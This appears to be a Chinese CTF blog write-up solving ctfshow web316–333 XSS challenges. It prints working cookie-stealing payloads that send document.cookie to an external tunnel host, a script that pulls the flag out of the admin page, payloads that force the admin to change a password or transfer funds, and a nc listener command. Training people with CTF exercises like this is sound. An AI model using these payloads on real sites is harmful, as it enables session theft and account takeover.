前言
ctfshow web316-333
本人没有vps,于是基于HTCP映射内网穿透来做这几题,配置可以参考 https://blog.51cto.com/u_15076215/4531399
(其实可以用 dnslog 做请求接收)
反射型XSS
Web316
这几题的主要思想都是把cookie带到自己的监听端口上,管理员那边会有bot自己点
先在本地虚拟机上开启监听
nc -lvnp 777
然后在题目页面输入xss代码,这里面任选一个
<script>document.location.href='http://xxx:7777/'+document.cookie</script>
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

这里要nc多次才能得到flag,因为我们自己本身也点了,相当于X自己

Web317
好像过滤了script,换一种标签即可
<body onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
<svg onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></svg>
<input onfocus="window.open('http://76135132qk.imdo.co:80/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></iframe>
多x几次就有flag了

Web318
过滤了script,img,payload继续一把梭即可
<body onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
<svg onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></svg>
<input onfocus="window.open('http://76135132qk.imdo.co:80/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></iframe>
tips:发现好像网页那边先x我这边再nc好像能稳定成功
Web319
不知道过滤啥,上面的payload继续用
Web320
过滤了空格,可以用%0c,%09,/**/注释符或者/去绕过
payload:
<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
Web321
ban了xss这个字符串,没啥用,继续打
<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
Web322~326
不知道过滤了啥,反正一把梭
存储型 XSS
Web327
flag的获取依旧是得到admin的cookie
这边是要我们给admin发一封邮件,所以收件人是admin,然后信的内容就是我们的代码了,这样admin收到之后打开就会触发我们的代码
存储型XSS和反射型XSS的差别就是持久性,存储型XSS只要你注入了,每次访问都会返回信息,这一题payload虽然一样但是是通过邮件的方式储存在了那里
这题和前面的反射型XSS是一样的payload,写在信的内容即可
<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>

Web328
这题有一个登录注册的功能,还有查看用户名密码的用户管理界面,但是这个界面需要是管理员才能看
猜测我们得成为管理员才能在用户管理界面获取我们需要的信息
那么就需要管理员的cookie来绕过登录鉴权,我们可以注册一个账号,其中带有我们的xss语句,此时我们的用户名密码就会出现在用户管理界面中,一旦管理员查看了用户管理界面就会执行xss语句
所以先在注册界面注册一个账号,用户名任意,密码插入我们的payload
payload:
我们这里弹到vps写文件带出管理员的cookie
<script>document.location.href='http://76135132qk.imdo.co/XSS.php?1='+document.cookie</script>
然后注册,这样就能带出cookie了(因为我这里用的是python起的http服务,所以没能解析php写入flag.txt,不过可以监听到请求,也能带出cookie)

把这里最新的PHPSESSID带到我们的cookie中,此时我们就是admin账户了
然后我们不能直接看到后台数据,因为访问的一瞬间就会跳转过去
这里需要抓包才能得到我们的flag

Web329
和上一题一样的注册界面,但是这一次我们并不能在拿到cookie后以admin登入
那就换种方式,我们直接拿想要的内容
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://76135132qk.imdo.co/XSS.php?1='+value.innerHTML;}});</script>
这段js的意思就是从当前界面找到有ctfshow{的字段,这样子admin那边加载用户管理页面的时候就会让我们获得有ctfshow{的字段
PS:这次想起来用php起http服务了(
php -S 0.0.0.0:80
成功带出

Web330
上一题的payload打不通,这一题应该是管理员的所在界面没有flag了
不过这一次多了个修改密码的功能,猜测是让我们用xss来修改管理员的密码
先抓包看一下修改密码的请求体

即
http://f19de0ef-594d-4b4c-ae7c-a05b48c02011.challenge.ctf.show/api/change.php?p=123456
然后构造我们的payload:
注意这里要x的是让管理员自己发送请求修改自己的密码,而管理员那边肯定是本地的,所以本地是127.0.0.1
<script>document.location.href='http://127.0.0.1/api/change.php?p=123456'</script>
把密码设置为123456
接下来的话尝试了一下,密码处进行xss失败了,应该是管理员查看用户界面那边也做了敏感处理,我们可以在用户名处进行xss,添加我们的payload

然后等一会就可以登录admin了,密码123456
接下来点击用户管理,因为会跳转到127.0.0.1,所以我们需要先抓包

Web331
这题修改密码的传参方式改为了post传参
我们可以翻一下页面源码,发现调用了select.js,抄一下select.js里面的语句
$.ajax({
url: 'api/change.php',
type: 'post',
data: {
p: newpass
}
});
然后构造我们的payload
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123456}});</script>
接下来就是和上一题一样的打法了
Web332~333
这两题一样,多了个账户余额的功能,flag要9999元才能买到,也给了一个转账汇款的功能
初始给了5块钱,可以给自己转来实现余额增加,那么有一种做法就是burp抓包转账接口,重复这个操作

或者写个脚本:by pop✌
#Author:@Boogipop
import requests
headers={
'cookie':'PHPSESSID=4f3o5emvovrmbfha8b0ee06bvm'
}
data={
'u':'boogipop',
'a':5
}
url='http://f6d876b7-0f8d-4deb-9431-bdc17d253e28.challenge.ctf.show/api/amount.php'
x=4
while True:
data = {
'u': 'boogipop',
'a': x
}
r=requests.post(url,data=data,headers=headers)
if x>10000:
print('-------done------')
break
else:
print('not enough')
x+=x
原本这题还存在非预期解:转-10000即可给自己+10000,类似类型转换?不过现在修了
接下来看xss的做法:
让管理员给我们转账10000元
先抓个包看看接口和请求体

然后构造payload:(管理员付不起10w块)
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'0w0',a:10000}});</script>
在注册账号的用户名处进行xss,此时我们就被转了1w,可以去买flag了